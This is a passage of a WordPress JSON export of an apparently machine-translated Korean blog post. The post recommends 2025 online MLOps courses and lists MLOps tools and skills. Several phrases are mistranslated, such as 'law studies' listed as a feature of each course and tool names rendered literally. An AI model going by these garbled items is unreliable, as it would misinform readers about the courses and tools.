{"id":7880,"date":"2025-01-28T05:18:39","date_gmt":"2025-01-28T05:18:39","guid":{"rendered":"https:\/\/slinka.pl\/?p=7880"},"modified":"2025-10-21T08:21:44","modified_gmt":"2025-10-21T08:21:44","slug":"internetowe-kursy-mlops","status":"publish","type":"post","link":"https:\/\/slinka.pl\/kr\/internetowe-kursy-mlops\/","title":{"rendered":"\ucd08\ubcf4\uc790\ub97c \uc704\ud55c 2025\ub144 MLOps \uc628\ub77c\uc778 \uacfc\uc815: \uc790\uc2e0\uc5d0\uac8c \uac00\uc7a5 \uc801\ud569\ud55c \uac83\uc744 \uc120\ud0dd\ud558\uc138\uc694"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">\uc804 \uc138\uacc4 \uae30\uc5c5\uc774 AI \uc194\ub8e8\uc158\uc744 \uad6c\ud604\ud568\uc5d0 \ub530\ub77c \uc804\ubb38\uc801\uc778 MLOps \uc804\ubb38\uac00\uc5d0 \ub300\ud55c \uc218\uc694\uac00 \uae09\uc99d\ud588\uc2b5\ub2c8\ub2e4. \uc774\ub7ec\ud55c \uc218\uc694\ub97c \ucda9\uc871\ud558\uae30 \uc704\ud574 \uc811\uadfc\uc774 \uc26c\uc6b4 \uc628\ub77c\uc778 MLOps \uacfc\uc815\uc744 \uc81c\uacf5\ud558\ub294 \uc628\ub77c\uc778 \uac00\uc774\ub4dc\uac00 \ub9ce\uc774 \ub4f1\uc7a5\ud588\uc2b5\ub2c8\ub2e4. 2025\ub144\uc5d0\ub294 MLOP \uae30\uc220\uc5d0 \ub300\ud55c \uc218\uc694\ub3c4 \ub192\uc544\uc9c8 \uac83\uc774\ubbc0\ub85c, \uc774\ub7ec\ud55c \uae30\uc220\uc5d0 \ub300\ud55c \uc9c0\uc2dd\uc774 \uc788\ub2e4\uba74 \uae30\uc5c5 \ubd80\ubb38\uc5d0\uc11c \ucde8\uc5c5\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ucd5c\uadfc \uba87 \ub144 \ub3d9\uc548 \uba38\uc2e0 \ub7ec\ub2dd\uc774 \uc8fc\uc694 \ubd84\uc57c\ub85c \ub5a0\uc62c\ub790\ub294\ub370, \uc774\ub294 \uc774 \ubd84\uc57c\uc5d0 \uc885\uc0ac\ud558\uace0 \uc788\ub2e4\uba74 \uc774 \uae30\uc220 \uc138\ud2b8\uc5d0 \ud22c\uc790\ud574\uc57c \ud560 \uc218\ub3c4 \uc788\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud569\ub2c8\ub2e4.\u00a0<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\uc65c MLOps\ub97c \ubc30\uc6cc\uc57c \ud558\ub098\uc694?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">MLOps \uc628\ub77c\uc778 \ucf54\uc2a4\uc758 \uc138\ubd80 \uc0ac\ud56d\uc744 \uc0b4\ud3b4\ubcf4\uae30 \uc804\uc5d0 MLOps \uae30\ub2a5\uc758 \uac00\uce58\ub97c \uc778\uc2dd\ud558\ub294 \uac83\uc774 \uc911\uc694\ud569\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uac1c\ubc1c\uacfc \ubc30\ud3ec \uac04\uc758 \uaca9\ucc28 \ud574\uc18c: MLOps\ub294 ML \ubaa8\ub378\uc744 \uac1c\ubc1c\uc5d0\uc11c \ud504\ub85c\ub355\uc158\uc73c\ub85c \uc27d\uac8c \uc804\ud658\ud558\uc5ec \ud655\uc7a5\uc131 \ubb38\uc81c\uc640 \ube44\ud6a8\uc728\uc801\uc778 \uc6cc\ud06c\ud50c\ub85c\uc6b0 \ub4f1 \uc77c\ubc18\uc801\uc778 \ud568\uc815\uc744 \ubc29\uc9c0\ud569\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ubaa8\ub378 \uc131\ub2a5 \uac1c\uc120: MLOps \ubc29\uc2dd\uc740 \uc720\ud589\uc744 \ucd94\uc801\ud558\uace0 \uc7ac\uad50\uc721\ud568\uc73c\ub85c\uc368 \ubc30\ud3ec\ub41c \ubaa8\ub378\uc774 \ud5a5\ud6c4 \uc218\ub144\uac04\uc5d0\ub3c4 \uc815\ud655\ud558\uace0 \uc131\ub2a5\uc774 \uc720\uc9c0\ub418\ub3c4\ub85d \ubcf4\uc7a5\ud569\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uc0b0\uc5c5 \uc218\uc694 \ucda9\uc871: \ubaa8\ub4e0 \uc0b0\uc5c5\uc758 \uc870\uc9c1\uc774 \ub300\uaddc\ubaa8\ub85c AI\ub97c \ub3c4\uc785\ud558\uace0 \uc788\uc5b4 \uc0c1\ub2f9\ud55c \uc218\uc694\uac00 \ubc1c\uc0dd\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4. <\/span><a href=\"https:\/\/slinka.pl\/kr\/auso\/\" target=\"_blank\" rel=\"nofollow noopener\"><span style=\"font-weight: 400;\">MLOps \uc804\ubb38\uac00<\/span><\/a><span style=\"font-weight: 400;\"> \uc774\ub7ec\ud55c \uc2dc\uc2a4\ud15c\uc744 \uc801\uc808\ud558\uac8c \uad00\ub9ac\ud560 \uc218 \uc788\ub294 \uc0ac\ub78c\uc774 \ub204\uad6c\uc778\uac00?<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uc218\uc775\uc131 \uc788\ub294 \uacbd\ub825 \uae30\ud68c: MLOps \uc804\ubb38\uac00\ub294 \uc804\ubb38 \uae30\uc220\ub85c \uc778\ud574 \ub192\uc740 \uae09\uc5ec\ub97c \ubc1b\ub294 \uacbd\uc6b0\uac00 \ub9ce\uae30 \ub54c\ubb38\uc5d0 \uc778\uacf5 \uc9c0\ub2a5\uacfc \uba38\uc2e0 \ub7ec\ub2dd\uc5d0 \uad00\uc2ec\uc774 \uc788\ub294 \uc0ac\ub78c\uc5d0\uac8c\ub294 \uac00\uce58 \uc788\ub294 \uacbd\ub825 \uacbd\ub85c\uc785\ub2c8\ub2e4.<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">MLOps \uc628\ub77c\uc778 \ucf54\uc2a4\uc5d0\uc11c \ub2e4\ub8e8\ub294 \uc8fc\uc694 \uc8fc\uc81c<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\uc628\ub77c\uc778 MLOps \uacfc\uc815\uc5d0\uc11c\ub294 \ub2e4\uc74c \uc8fc\uc81c\ub97c \ub2e4\ub8e8\ub294\uc9c0 \ud655\uc778\ud558\uc138\uc694.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ub370\uc774\ud130 \ubc0f \ubaa8\ub378 \ubc84\uc804 \uc81c\uc5b4: Git, DVC, MLflow\uc640 \uac19\uc740 \ub3c4\uad6c\ub97c \uc0ac\uc6a9\ud558\uc5ec \ub370\uc774\ud130 \uc138\ud2b8, \ubaa8\ub378 \ubc0f \uc2e4\ud5d8 \uacb0\uacfc\ub97c \uad00\ub9ac\ud569\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">ML\uc744 \uc704\ud55c CI\/CD \ud30c\uc774\ud504\ub77c\uc778: <\/span><a href=\"https:\/\/slinka.pl\/kr\/auso\/\" target=\"_blank\" rel=\"nofollow noopener\"><span style=\"font-weight: 400;\">\ud1b5\ud569\uc744 \ub04a\uc784\uc5c6\uc774 \uad6c\ud604<\/span><\/a><span style=\"font-weight: 400;\"> ML \uc6cc\ud06c\ud50c\ub85c\uc5d0 \ub9de\ucdb0\uc9c4 \ubc30\ud3ec \ud30c\uc774\ud504\ub77c\uc778.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ubaa8\ub378 \ubc30\ud3ec: \ud074\ub77c\uc6b0\ub4dc \uc2dc\uc2a4\ud15c, \uce21\uba74 \uac00\uc82f, \ub85c\uceec \ud504\ub808\uc784\uc6cc\ud06c\ub97c \ud3ec\ud568\ud55c \ub2e4\uc591\ud55c \ud658\uacbd\uc5d0\uc11c \ubaa8\ub378\uc744 \uad6c\uc131\ud558\ub294 \uae30\uc220\uc785\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ubaa8\ub2c8\ud130\ub9c1 \ubc0f \uc7ac\uad50\uc721: \uc804\ubc18\uc801\uc778 \ub9b4\ub9ac\uc2a4 \uc131\ub2a5\uc744 \uc870\uc815\ud558\uace0 \uc7ac\uad50\uc721 \uc6cc\ud06c\ud50c\ub85c\ub97c \uc790\ub3d9\ud654\ud558\uae30 \uc704\ud55c \uc804\ub7b5.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ucf54\ub4dc\ub85c\uc11c\uc758 \uc778\ud504\ub77c(IaC): Terraform \ubc0f Kubernetes\uc640 \uac19\uc740 \ub3c4\uad6c\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc778\ud504\ub77c\ub97c \uc81c\uc5b4\ud569\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ud074\ub77c\uc6b0\ub4dc \ud50c\ub7ab\ud3fc: AWS, Azure \ub610\ub294 Google Cloud AI\/ML \ub3c4\uad6c\ub97c \uc0ac\uc6a9\ud55c \uc2e4\ubb34 \uacbd\ud5d8.<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\uc62c\ubc14\ub978 MLOps \ucf54\uc2a4 \uc120\ud0dd\uc744 \uc704\ud55c \ud301<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\uc790\uc2e0\uc758 \uae30\uc220 \uc218\uc900\uc744 \ud3c9\uac00\ud558\uc138\uc694. \uc544\ub9c8\ucd94\uc5b4\ub77c\uba74 \uae30\ubcf8\uc801\uc778 \ucd9c\ud310\ubb3c\uc744 \uc120\ud0dd\ud558\uc138\uc694. \uc219\ub828\ub41c \uc804\ubb38\uac00\ub294 \uace0\uae09 \ub610\ub294 \ud2b9\uc218 \uc751\uc6a9 \ud504\ub85c\uadf8\ub7a8\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ud50c\ub7ab\ud3fc \uc775\uc219\ud568: AWS, Azure \ub610\ub294 GCP\ub97c \ud3ec\ud568\ud558\uc5ec \uc9c1\uc7a5\uc5d0\uc11c \uc0ac\uc6a9\ud560 \uac00\ub2a5\uc131\uc774 \ub192\uc740 \ud504\ub808\uc784\uc6cc\ud06c\uc640 \uc77c\uce58\ud558\ub294 \uacfc\uc815\uc744 \uc120\ud0dd\ud558\uc138\uc694.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uc2e4\uc81c \ud504\ub85c\uc81d\ud2b8: \uc2e4\uc81c \uc791\uc5c5\uc740 \ub2e4\uc74c\uacfc \uac19\uc2b5\ub2c8\ub2e4. <\/span><a href=\"https:\/\/slinka.pl\/kr\/auso\/\" target=\"_blank\" rel=\"nofollow noopener\"><span style=\"font-weight: 400;\">MLOps \ud559\uc2b5\uc5d0 \ud544\uc218<\/span><\/a><span style=\"font-weight: 400;\">. \uc2e4\uc81c \ud504\ub85c\uadf8\ub798\ubc0d\uc744 \uc81c\uacf5\ud558\ub294 \uc628\ub77c\uc778 MLOps \uacfc\uc815\uc744 \ucc3e\uc544\ubcf4\uc138\uc694.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uc608\uc0b0 \ubc0f \uc2dc\uac04: \uc608\uc0b0\uacfc \uc2dc\uac04\uc744 \uace0\ub824\ud558\uc138\uc694. \ubb34\ub8cc\ub85c \uc81c\uacf5\ub418\ub294 \uc9e7\uc740 \ucd9c\ud310\ubb3c\uc740 \uc88b\uc740 \uc2dc\uc791\uc810\uc774 \ub420 \uc218 \uc788\uc73c\uba70, \ubd80\ud2b8\ucea0\ud504\ub294 \uc2ec\ub3c4 \uc788\ub294 \ud559\uc2b5\uc5d0 \uc774\uc0c1\uc801\uc785\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\ucee4\ubba4\ub2c8\ud2f0 \ubc0f \uc9c0\uc6d0: \uc5d0\ub108\uc9c0 \uadf8\ub8f9\uc774\ub098 \uba58\ud1a0\ub9c1 \uc635\uc158\uc774 \ud3ec\ud568\ub41c \uacfc\uc815\uc740 \ub9ac\uc18c\uc2a4\uc640 \ub124\ud2b8\uc6cc\ud0b9 \uae30\ud68c\uc5d0 \ub300\ud55c \ucd94\uac00 \ud559\uc2b5\uc744 \uc81c\uacf5\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">3\uac1c\uc758 \uc628\ub77c\uc778 MLOps \ucf54\uc2a4\u00a0<\/span><\/h2>\n<h3><span style=\"font-weight: 400;\">1. \uba38\uc2e0\ub7ec\ub2dd \ubaa8\ub378\uc758 \uad6c\ud604\u00a0<\/span><\/h3>\n<figure id=\"attachment_7886\" aria-describedby=\"caption-attachment-7886\" style=\"width: 900px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-7886\" src=\"https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/wdrozenie-modeli-uczenia-maszynowego-679867a0e1481.webp\" alt=\"Wdro\u017cenie modeli uczenia maszynowego\u00a0\" width=\"900\" height=\"500\" srcset=\"https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/wdrozenie-modeli-uczenia-maszynowego-679867a0e1481.webp 900w, https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/wdrozenie-modeli-uczenia-maszynowego-679867a0e1481-300x167.webp 300w, https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/wdrozenie-modeli-uczenia-maszynowego-679867a0e1481-768x427.webp 768w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><figcaption id=\"caption-attachment-7886\" class=\"wp-caption-text\">\uba38\uc2e0 \ub7ec\ub2dd \ubaa8\ub378\uc758 \uad6c\ud604 | \uc2ac\ub9b0\uce74<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">\uc774\ub294 MLPS\uc5d0 \ub300\ud574 \uc54c\uc544\uc57c \ud560 \ubaa8\ub4e0 \uad00\ub828 \uc8fc\uc81c\uc5d0 \ub300\ud55c \ud3ec\uad04\uc801\uc778 \uc815\ubcf4\ub97c \uc81c\uacf5\ud558\ub294 \ucd5c\uace0\uc758 \uc628\ub77c\uc778 MLOps \uacfc\uc815 \uc911 \ud558\ub098\uc785\ub2c8\ub2e4. \uc774 \uacfc\uc815\uc758 \ubaa9\ud45c\ub294 \ubaa8\ub378 \uad00\ub9ac \ubc0f \ubc30\ud3ec\uc5d0 \ub300\ud55c \uc804\ubb38\uac00\uac00 \ub418\ub294 \uac83\ubfd0\ub9cc \uc544\ub2c8\ub77c, \ud504\ub85c\ub355\uc158 \ud658\uacbd\uc5d0\uc11c \ubaa8\ub378\uc744 \uc124\uc815\ud558\ub294 \ub370 \ub530\ub974\ub294 \uacfc\uc81c\ub3c4 \uc0b4\ud3b4\ubcf4\ub294 \uac83\uc785\ub2c8\ub2e4.\u00a0\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uacfc\uc815\uc5d0\ub294 \ub2e4\uc74c\uc774 \ud3ec\ud568\ub429\ub2c8\ub2e4.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">10.5\uc2dc\uac04\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc791\uc5c5<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">34\uac1c \uae30\uc0ac<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ub2e4\uc6b4\ub85c\ub4dc\ud560 \uc218 \uc788\ub294 36\uac00\uc9c0 \ub9ac\uc18c\uc2a4\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">\ubc95\ub960\ud559<\/span><\/span><br \/>\n<hr \/>\n<\/li>\n<\/ul>\n<h3><span style=\"font-weight: 400;\">2. MLOP \ubd80\ud2b8\ucea0\ud504 \uc644\ub8cc\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\uc774 \uacfc\uc815\uc744 \ud1b5\ud574 \ub2f9\uc2e0\uc740 \uadf8\uac83\uc744 \ubc30\uc6b8 \uac83\uc785\ub2c8\ub2e4 <\/span><a href=\"https:\/\/slinka.pl\/kr\/auso\/\" target=\"_blank\" rel=\"nofollow noopener\"><span style=\"font-weight: 400;\">MLOP \ud30c\uc774\ud504\ub77c\uc778\uc744 \uad6c\ucd95\ud558\ub294 \ubc29\ubc95 <\/span><\/a><span style=\"font-weight: 400;\">CI\/CD \ud1b5\ud569 \ub355\ubd84\uc5d0 \ud655\uc7a5 \uac00\ub2a5\ud569\ub2c8\ub2e4. \ub610\ud55c \ubaa8\ub378 \ubc84\uc804 \uad00\ub9ac\ub97c \uc704\ud574 MLFlow\uc640 DVC\ub97c \uad6c\ud604\ud558\ub294 \ubc29\ubc95 \ub4f1\uc744 \uc54c\uc544\ubd05\ub2c8\ub2e4. AWS SageMaker\uc640 Huggingface\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc885\ub2e8 \uac04 \uba38\uc2e0 \ub7ec\ub2dd \ubaa8\ub378\uc744 \ubc30\ud3ec\ud558\ub294 \ubc29\ubc95\uc744 \uc54c\uc544\ubcf4\uc138\uc694.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uacfc\uc815\uc5d0\ub294 \ub2e4\uc74c\uc774 \ud3ec\ud568\ub429\ub2c8\ub2e4:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">51\uc2dc\uac04\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ub2e4\uc6b4\ub85c\ub4dc\ud560 \uc218 \uc788\ub294 39\uac00\uc9c0 \ub9ac\uc18c\uc2a4<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">\ubc95\ub960\ud559<\/span><\/span><br \/>\n<hr \/>\n<\/li>\n<\/ul>\n<h3><span style=\"font-weight: 400;\">3. Azure Machine Learning \ubc0f MLOP: \ucd08\ubcf4\uc790\ubd80\ud130 \uace0\uae09\uc790\uae4c\uc9c0<\/span><\/h3>\n<figure id=\"attachment_7884\" aria-describedby=\"caption-attachment-7884\" style=\"width: 900px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-7884\" src=\"https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/azure-machine-learning-i-mlop-od-poczatkujacego-do-zaawansowanego-6798679f8f1f7.webp\" alt=\"Azure Machine Learning i MLOP: od pocz\u0105tkuj\u0105cego do zaawansowanego\" width=\"900\" height=\"500\" srcset=\"https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/azure-machine-learning-i-mlop-od-poczatkujacego-do-zaawansowanego-6798679f8f1f7.webp 900w, https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/azure-machine-learning-i-mlop-od-poczatkujacego-do-zaawansowanego-6798679f8f1f7-300x167.webp 300w, https:\/\/slinka.pl\/wp-content\/uploads\/2025\/01\/azure-machine-learning-i-mlop-od-poczatkujacego-do-zaawansowanego-6798679f8f1f7-768x427.webp 768w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><figcaption id=\"caption-attachment-7884\" class=\"wp-caption-text\">Azure Machine Learning \ubc0f MLOP: \ucd08\ubcf4\uc790\ubd80\ud130 \uace0\uae09\uc790\uae4c\uc9c0 | \uc2ac\ub9b0\uce74<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">\uc774 \ud3ec\uad04\uc801\uc778 \uacfc\uc815\uc744 \ud1b5\ud574 \ud504\ub85c\ub355\uc158\uc5d0\uc11c \ubaa8\ub378\uc744 \uac1c\ubc1c\ud558\uace0 \uc2e4\ud589\ud558\uace0, Azure\uc5d0\uc11c \uc885\ub2e8 \uac04 \uba38\uc2e0 \ub7ec\ub2dd\uc744 \ubc30\uc6b0\uace0, MLOP CI\/CD \ud30c\uc774\ud504\ub77c\uc778\uc744 \uc2e4\ud589\ud558\ub294 \ubc29\ubc95 \ub4f1\uc744 \uc54c\uc544\ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4. MLOP\ub97c \uc704\ud574 Microsoft Azure\ub97c \uc0ac\uc6a9\ud558\ub294 \ubc29\ubc95\uc744 \uc219\ub2ec\ud558\uace0 \uc2f6\ub2e4\uba74 \uc774 \uacfc\uc815\uc774 \ud6cc\ub96d\ud55c \uc120\ud0dd\uc785\ub2c8\ub2e4. Azure \uc0ac\uc6a9\uc790\uc5d0\uac8c\ub294 \uc774\uac83\uc774 \ucd5c\uace0\uc758 \uc628\ub77c\uc778 MLOps \uacfc\uc815\uc785\ub2c8\ub2e4.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uacfc\uc815\uc5d0\ub294 \ub2e4\uc74c\uc774 \ud3ec\ud568\ub429\ub2c8\ub2e4:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc9c0\uc18d\uc2dc\uac04 19.5\uc2dc\uac04\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">\ubc95\ub960\ud559<\/span><\/span><br \/>\n<hr \/>\n<\/li>\n<\/ul>\n<h2><span style=\"font-weight: 400;\">MLOP\uc5d0\uc11c \ub354 \ub098\uc544\uc9c0\ub294 \ubc29\ubc95<\/span><\/h2>\n<ol>\n<li><span style=\"font-weight: 400;\"> \ub9c8\uc2a4\ud130 \ud0a4 MLOps \ub3c4\uad6c<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubc84\uc804 \uc81c\uc5b4: Git, GitHub \ub610\ub294 GitLab.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc2e4\ud5d8 \ucd94\uc801: MLflow, \uac00\uc911\uce58 \ubc0f \ud3b8\ud5a5 \ub610\ub294 DVC.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubaa8\ub378 \uacf5\uc720: TensorFlow, TorchServe, FastAPI \ub610\ub294 Flask\ub97c \uacf5\uc720\ud558\uc138\uc694.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ucee8\ud14c\uc774\ub108\ud654: ML \uc571\uc744 \ud328\ud0a4\uc9d5\ud558\uae30 \uc704\ud55c Docker.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc624\ucf00\uc2a4\ud2b8\ub808\uc774\uc158: ML \uc560\ud50c\ub9ac\ucf00\uc774\uc158 \ubc30\ud3ec \ubc0f \ud655\uc7a5\uc744 \uc704\ud55c Kubernetes<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubaa8\ub2c8\ud130\ub9c1 \ub3c4\uad6c: Prometheus, Grafana \ub610\ub294 \ub9de\ucda4\ud615 \ubaa8\ub2c8\ud130\ub9c1 \uc2dc\uc2a4\ud15c.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ud30c\uc774\ud504\ub77c\uc778 \ub3c4\uad6c: Apache Airflow, Kubeflow \ub610\ub294 Prefect.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">ML\uc744 \uc704\ud55c CI\/CD: ML \uc6cc\ud06c\ud50c\ub85c\uc5d0 \ub9de\ucdb0\uc9c4 Jenkins, GitHub Actions \ub610\ub294 CircleCI.<\/span><\/li>\n<\/ul>\n<ol start=\"2\">\n<li><span style=\"font-weight: 400;\"> \ud504\ub85c\uadf8\ub798\ubc0d\uc758 \ud0c4\ud0c4\ud55c \uae30\ucd08\ub97c \uc313\uc73c\uc138\uc694<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Python: \uba38\uc2e0 \ub7ec\ub2dd\uacfc MLOps\uc5d0 \ud544\uc218\uc801\uc785\ub2c8\ub2e4. NumPy, pandas, scikit-learn, TensorFlow, PyTorch\uc640 \uac19\uc740 \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0 \ub300\ud574 \uc54c\uc544\ubcf4\uc138\uc694.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc258 \uc2a4\ud06c\ub9bd\ud2b8: \uc791\uc5c5\uc744 \uc790\ub3d9\ud654\ud569\ub2c8\ub2e4.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ucf54\ub4dc\ub85c\uc11c\uc758 \uc778\ud504\ub77c: \uc18c\uc2a4 \ud504\ub85c\ube44\uc800\ub2dd\uc744 \uc704\ud55c Terraform\uc774\ub098 Ansible\uacfc \uac19\uc740 \ub3c4\uad6c.<\/span><\/li>\n<\/ul>\n<ol start=\"3\">\n<li><span style=\"font-weight: 400;\"> \uc2e4\uc81c\uc801\uc778 \uacbd\ud5d8\uc744 \uc313\ub2e4<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc885\ub2e8 \uac04 \ud504\ub85c\uc81d\ud2b8 \ub9cc\ub4e4\uae30: \uc2dc\uc2a4\ud15c \uac1c\uc120 \ubbf8\uc158\uc744 \ub9cc\ub4e4\uace0 MLOps \ud30c\uc774\ud504\ub77c\uc778\uc744 \uc0ac\uc6a9\ud558\uc5ec \uc774\ub97c \uad6c\ud604\ud569\ub2c8\ub2e4. \uc0ac\uc9c4 \uce74\ud14c\uace0\ub9ac\ub098 \uac10\uc815 \ubd84\uc11d \ub4f1 \uc791\uc740 \ud504\ub85c\uc81d\ud2b8\ubd80\ud130 \uc2dc\uc791\ud558\uc138\uc694.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">CI\/CD \ud30c\uc774\ud504\ub77c\uc778 \uad6c\uc131: \uac80\uc99d, \ub9b4\ub9ac\uc2a4 \ud655\uc778, \ubc30\ud3ec \ub2e8\uacc4\ub97c \uc790\ub3d9\ud654\ub41c \ud30c\uc774\ud504\ub77c\uc778\uc5d0 \ud1b5\ud569\ud569\ub2c8\ub2e4.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubaa8\ub378 \ubc30\ud3ec: Docker, Kubernetes \ub610\ub294 \uc11c\ubc84\ub9ac\uc2a4 \uae30\ub2a5\uc744 \uc0ac\uc6a9\ud558\uc5ec \ud074\ub77c\uc6b0\ub4dc \ud50c\ub7ab\ud3fc\uc5d0 \uba38\uc2e0 \ub7ec\ub2dd \ubaa8\ub378\uc744 \ubc30\ud3ec\ud558\ub294 \uc5f0\uc2b5\uc744 \ud569\ub2c8\ub2e4.<\/span><\/li>\n<\/ul>\n<ol start=\"4\">\n<li><span style=\"font-weight: 400;\"> \ubaa8\ubc94 \uc0ac\ub840\uc5d0 \ub300\ud574 \uc54c\uc544\ubcf4\uc138\uc694<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubaa8\ub378 \ubc84\uc804 \uad00\ub9ac: \ud504\ub85c\ub355\uc158 \uc0ac\uc6a9\uc744 \uc704\ud574 \ubaa8\ub4dc\ub97c \uad00\ub9ac\ud558\uace0 \ubc84\uc804\uc744 \uad00\ub9ac\ud558\ub294 \ubc29\ubc95\uc744 \uc54c\uc544\ubcf4\uc138\uc694.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ub370\uc774\ud130 \ud30c\uc774\ud504\ub77c\uc778 \uad00\ub9ac: \ud1b5\uacc4 \uc804\ucc98\ub9ac, \ubcc0\ud658 \ubc0f \ud30c\uc774\ud504\ub77c\uc778 \uc790\ub3d9\ud654\ub97c \uc774\ud574\ud569\ub2c8\ub2e4.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubaa8\ub378 \ubaa8\ub2c8\ud130\ub9c1: \ud504\ub85c\ub355\uc158\uc5d0\uc11c \uc804\ubc18\uc801\uc778 \ubaa8\ub378 \uc131\ub2a5\uacfc \uc0ac\uc2e4 \ud750\ub984\uc744 \ubaa8\ub2c8\ud130\ub9c1\ud569\ub2c8\ub2e4.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ubcf4\uc548 \ubc0f \uaddc\uc815 \uc900\uc218: ML \uc6cc\ud06c\ud50c\ub85c\ub97c \ubcf4\ud638\ud558\uace0 \ub808\uc9c0\uc2a4\ud2b8\ub9ac \uc9c0\uce68\uc744 \uc900\uc218\ud558\ub294 \ubc29\ubc95\uc744 \uc54c\uc544\ubcf4\uc138\uc694.<\/span><\/li>\n<\/ul>\n<ol 